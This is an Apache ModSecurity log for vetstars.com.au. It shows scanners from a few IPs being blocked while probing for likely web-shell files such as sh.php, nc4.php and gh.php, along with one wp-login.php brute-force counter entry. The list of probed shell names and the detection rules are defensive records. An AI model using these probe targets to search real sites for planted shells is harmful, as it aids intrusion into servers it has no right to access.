[Fri Feb 27 21:45:56.026751 2026] [:error] [pid 54103:tid 54182] [client 20.104.124.39:32369] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galex.php"] [unique_id "aaGgFOvG4MPCmE0B2sC4UgAAAMs"]
[Fri Feb 27 21:45:56.596590 2026] [:error] [pid 54231:tid 54236] [client 20.104.124.39:29955] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galex.php"] [unique_id "aaGgFOTvb5AeyJCdY7AqQgAAAEI"]
[Fri Feb 27 21:45:57.306243 2026] [:error] [pid 49306:tid 49314] [client 20.104.124.39:32365] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xb.php"] [unique_id "aaGgFfnSUDZue59Px9s-8AAAAUY"]
[Fri Feb 27 21:45:57.872938 2026] [:error] [pid 54101:tid 54111] [client 20.104.124.39:32424] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xb.php"] [unique_id "aaGgFVY5qgRktcYTGFtQwAAAAcM"]
[Fri Feb 27 21:45:58.557997 2026] [:error] [pid 49306:tid 49312] [client 20.104.124.39:32361] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xb.php"] [unique_id "aaGgFvnSUDZue59Px9s--wAAAUQ"]
[Fri Feb 27 21:45:59.091830 2026] [:error] [pid 52073:tid 52078] [client 20.104.124.39:32327] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xb.php"] [unique_id "aaGgF4a650YPyxXVeRaNdwAAAYI"]
[Fri Feb 27 21:46:00.292305 2026] [:error] [pid 56075:tid 56101] [client 20.104.124.39:29953] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ova.php"] [unique_id "aaGgGMKBhrfI6KNv9RgF6gAAABc"]
[Fri Feb 27 21:46:00.877708 2026] [:error] [pid 56075:tid 56098] [client 20.104.124.39:32366] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ova.php"] [unique_id "aaGgGMKBhrfI6KNv9RgF8gAAABQ"]
[Fri Feb 27 21:46:01.855594 2026] [:error] [pid 49306:tid 49319] [client 20.104.124.39:32323] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ova.php"] [unique_id "aaGgGfnSUDZue59Px9s_EgAAAUs"]
[Fri Feb 27 21:46:03.065981 2026] [:error] [pid 52073:tid 52077] [client 20.104.124.39:32508] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ova.php"] [unique_id "aaGgG4a650YPyxXVeRaNnAAAAYE"]
[Fri Feb 27 21:46:03.789461 2026] [:error] [pid 52073:tid 52085] [client 20.104.124.39:29963] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vx.php"] [unique_id "aaGgG4a650YPyxXVeRaNowAAAYk"]
[Fri Feb 27 21:46:04.439532 2026] [:error] [pid 52073:tid 52088] [client 20.104.124.39:29987] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vx.php"] [unique_id "aaGgHIa650YPyxXVeRaNsAAAAYw"]
[Fri Feb 27 21:46:05.104903 2026] [:error] [pid 56075:tid 56083] [client 20.104.124.39:32477] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vx.php"] [unique_id "aaGgHcKBhrfI6KNv9RgGGQAAAAY"]
[Fri Feb 27 21:46:05.774879 2026] [:error] [pid 56075:tid 56102] [client 20.104.124.39:32371] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vx.php"] [unique_id "aaGgHcKBhrfI6KNv9RgGHgAAABg"]
[Fri Feb 27 21:46:06.515025 2026] [:error] [pid 56075:tid 56090] [client 20.104.124.39:32326] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rh.php"] [unique_id "aaGgHsKBhrfI6KNv9RgGJgAAAAw"]
[Fri Feb 27 21:46:07.369643 2026] [:error] [pid 54231:tid 54234] [client 20.104.124.39:32347] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rh.php"] [unique_id "aaGgH-Tvb5AeyJCdY7AqUQAAAEA"]
[Fri Feb 27 21:46:08.081924 2026] [:error] [pid 54231:tid 54251] [client 20.104.124.39:32248] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rh.php"] [unique_id "aaGgIOTvb5AeyJCdY7AqVQAAAFE"]
[Fri Feb 27 21:46:08.776399 2026] [:error] [pid 49306:tid 49316] [client 20.104.124.39:32354] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rh.php"] [unique_id "aaGgIPnSUDZue59Px9s_GgAAAUg"]
[Fri Feb 27 22:16:35.261879 2026] [:error] [pid 52073:tid 52084] [client 185.246.164.237:45426] [client 185.246.164.237] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.246.164.237, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaGnQ4a650YPyxXVeRanDAAAAYg"]
[Fri Feb 27 22:16:44.706234 2026] [:error] [pid 56075:tid 56095] [client 20.220.221.45:41025] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zvinn.php"] [unique_id "aaGnTMKBhrfI6KNv9RgpKAAAABE"]
[Fri Feb 27 22:16:45.118184 2026] [:error] [pid 56075:tid 56086] [client 20.220.221.45:41058] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zvinn.php"] [unique_id "aaGnTcKBhrfI6KNv9RgpLAAAAAk"]
[Fri Feb 27 22:16:45.540990 2026] [:error] [pid 56075:tid 56099] [client 20.220.221.45:41045] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zvinn.php"] [unique_id "aaGnTcKBhrfI6KNv9RgpLgAAABU"]
[Fri Feb 27 22:16:45.958543 2026] [:error] [pid 56075:tid 56083] [client 20.220.221.45:41039] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zvinn.php"] [unique_id "aaGnTcKBhrfI6KNv9RgpMQAAAAY"]
[Fri Feb 27 22:16:46.373769 2026] [:error] [pid 56075:tid 56101] [client 20.220.221.45:40976] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x123.php"] [unique_id "aaGnTsKBhrfI6KNv9RgpMwAAABc"]
[Fri Feb 27 22:16:46.809145 2026] [:error] [pid 56075:tid 56095] [client 20.220.221.45:41027] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x123.php"] [unique_id "aaGnTsKBhrfI6KNv9RgpNgAAABE"]
[Fri Feb 27 22:16:47.236842 2026] [:error] [pid 56075:tid 56096] [client 20.220.221.45:40965] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x123.php"] [unique_id "aaGnT8KBhrfI6KNv9RgpOQAAABI"]
[Fri Feb 27 22:16:47.655885 2026] [:error] [pid 56075:tid 56086] [client 20.220.221.45:41038] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x123.php"] [unique_id "aaGnT8KBhrfI6KNv9RgpPAAAAAk"]
[Fri Feb 27 22:16:48.076575 2026] [:error] [pid 54231:tid 54244] [client 20.220.221.45:41080] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sh.php"] [unique_id "aaGnUOTvb5AeyJCdY7AzMgAAAEo"]
[Fri Feb 27 22:16:48.488236 2026] [:error] [pid 54102:tid 54150] [client 20.220.221.45:41036] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sh.php"] [unique_id "aaGnUHi74D4fiYUm_GeHUQAAAIY"]
[Fri Feb 27 22:16:48.949783 2026] [:error] [pid 49306:tid 49323] [client 20.220.221.45:40967] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sh.php"] [unique_id "aaGnUPnSUDZue59Px9tPGAAAAU8"]
[Fri Feb 27 22:16:49.361202 2026] [:error] [pid 56075:tid 56085] [client 20.220.221.45:41075] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sh.php"] [unique_id "aaGnUcKBhrfI6KNv9RgpQAAAAAg"]
[Fri Feb 27 22:16:49.781820 2026] [:error] [pid 56075:tid 56087] [client 20.220.221.45:41068] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nc4.php"] [unique_id "aaGnUcKBhrfI6KNv9RgpQwAAAAo"]
[Fri Feb 27 22:16:50.197938 2026] [:error] [pid 56075:tid 56084] [client 20.220.221.45:41066] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nc4.php"] [unique_id "aaGnUsKBhrfI6KNv9RgpRgAAAAc"]
[Fri Feb 27 22:16:50.618674 2026] [:error] [pid 52073:tid 52079] [client 20.220.221.45:40980] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nc4.php"] [unique_id "aaGnUoa650YPyxXVeRanNAAAAYM"]
[Fri Feb 27 22:16:51.073031 2026] [:error] [pid 54103:tid 54183] [client 20.220.221.45:40961] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nc4.php"] [unique_id "aaGnU-vG4MPCmE0B2sDAJwAAAMw"]
[Fri Feb 27 22:16:51.491797 2026] [:error] [pid 52073:tid 52078] [client 20.220.221.45:41081] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xigmltad.php"] [unique_id "aaGnU4a650YPyxXVeRanOgAAAYI"]
[Fri Feb 27 22:16:51.950053 2026] [:error] [pid 52073:tid 52087] [client 20.220.221.45:41065] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xigmltad.php"] [unique_id "aaGnU4a650YPyxXVeRanPQAAAYs"]
[Fri Feb 27 22:16:52.383618 2026] [:error] [pid 56075:tid 56095] [client 20.220.221.45:41040] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xigmltad.php"] [unique_id "aaGnVMKBhrfI6KNv9RgpUQAAABE"]
[Fri Feb 27 22:16:52.805621 2026] [:error] [pid 62998:tid 63025] [client 20.220.221.45:41064] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xigmltad.php"] [unique_id "aaGnVFQeueXZDUmoLolzOAAAARc"]
[Fri Feb 27 22:16:53.269687 2026] [:error] [pid 56075:tid 56101] [client 20.220.221.45:41056] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gh.php"] [unique_id "aaGnVcKBhrfI6KNv9RgpWAAAABc"]
[Fri Feb 27 22:16:53.692647 2026] [:error] [pid 54231:tid 54248] [client 20.220.221.45:41085] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gh.php"] [unique_id "aaGnVeTvb5AeyJCdY7AzOgAAAE4"]
[Fri Feb 27 22:16:54.156020 2026] [:error] [pid 56075:tid 56083] [client 20.220.221.45:40978] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gh.php"] [unique_id "aaGnVsKBhrfI6KNv9RgpXAAAAAY"]
[Fri Feb 27 22:16:54.582675 2026] [:error] [pid 54231:tid 54257] [client 20.220.221.45:41007] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gh.php"] [unique_id "aaGnVuTvb5AeyJCdY7AzPAAAAFc"]
[Fri Feb 27 22:16:55.000118 2026] [:error] [pid 54231:tid 54243] [client 20.220.221.45:41062] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ovajckrrj.php"] [unique_id "aaGnVuTvb5AeyJCdY7AzPwAAAEk"]
[Fri Feb 27 22:16:55.431458 2026] [:error] [pid 56075:tid 56097] [client 20.220.221.45:40971] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ovajckrrj.php"] [unique_id "aaGnV8KBhrfI6KNv9RgpZAAAABM"]
[Fri Feb 27 22:16:55.915421 2026] [:error] [pid 49306:tid 49312] [client 20.220.221.45:41082] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ovajckrrj.php"] [unique_id "aaGnV_nSUDZue59Px9tPHAAAAUQ"]
[Fri Feb 27 22:16:56.403552 2026] [:error] [pid 62998:tid 63017] [client 20.220.221.45:41003] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ovajckrrj.php"] [unique_id "aaGnWFQeueXZDUmoLolzOwAAAQ8"]
[Fri Feb 27 22:16:56.822277 2026] [:error] [pid 56075:tid 56084] [client 20.220.221.45:40987] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lp6.php"] [unique_id "aaGnWMKBhrfI6KNv9RgpbAAAAAc"]
[Fri Feb 27 22:16:57.232382 2026] [:error] [pid 56075:tid 56094] [client 20.220.221.45:40969] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lp6.php"] [unique_id "aaGnWcKBhrfI6KNv9RgpbgAAABA"]
[Fri Feb 27 22:16:57.412484 2026] [:error] [pid 54231:tid 54243] [client 20.220.221.45:41062] [client 20.220.221.45] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "45.131.195.66_949e00c28fd9454b5d0e6b9d1f278414c6b0b6d9"): Internal error (specific information not available) [hostname "vetstars.com.au"] [uri "/ovajckrrj.php"] [unique_id "aaGnVuTvb5AeyJCdY7AzPwAAAEk"]
[Fri Feb 27 22:16:57.648605 2026] [:error] [pid 56075:tid 56095] [client 20.220.221.45:41078] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lp6.php"] [unique_id "aaGnWcKBhrfI6KNv9RgpcgAAABE"]
[Fri Feb 27 22:16:58.064986 2026] [:error] [pid 56075:tid 56101] [client 20.220.221.45:40964] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lp6.php"] [unique_id "aaGnWsKBhrfI6KNv9RgpewAAABc"]
[Fri Feb 27 22:16:58.494685 2026] [:error] [pid 56075:tid 56090] [client 20.220.221.45:40997] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa.php7"] [unique_id "aaGnWsKBhrfI6KNv9RgpfgAAAAw"]
[Fri Feb 27 22:16:58.909833 2026] [:error] [pid 49306:tid 49313] [client 20.220.221.45:41084] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa.php7"] [unique_id "aaGnWvnSUDZue59Px9tPHwAAAUU"]
[Fri Feb 27 22:16:59.351813 2026] [:error] [pid 52073:tid 52078] [client 20.220.221.45:41053] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa.php7"] [unique_id "aaGnW4a650YPyxXVeRanSQAAAYI"]
[Fri Feb 27 22:16:59.778671 2026] [:error] [pid 56075:tid 56097] [client 20.220.221.45:40989] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa.php7"] [unique_id "aaGnW8KBhrfI6KNv9RgpgQAAABM"]
[Fri Feb 27 22:17:00.236201 2026] [:error] [pid 52073:tid 52084] [client 20.220.221.45:41046] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws77.php"] [unique_id "aaGnXIa650YPyxXVeRanTAAAAYg"]
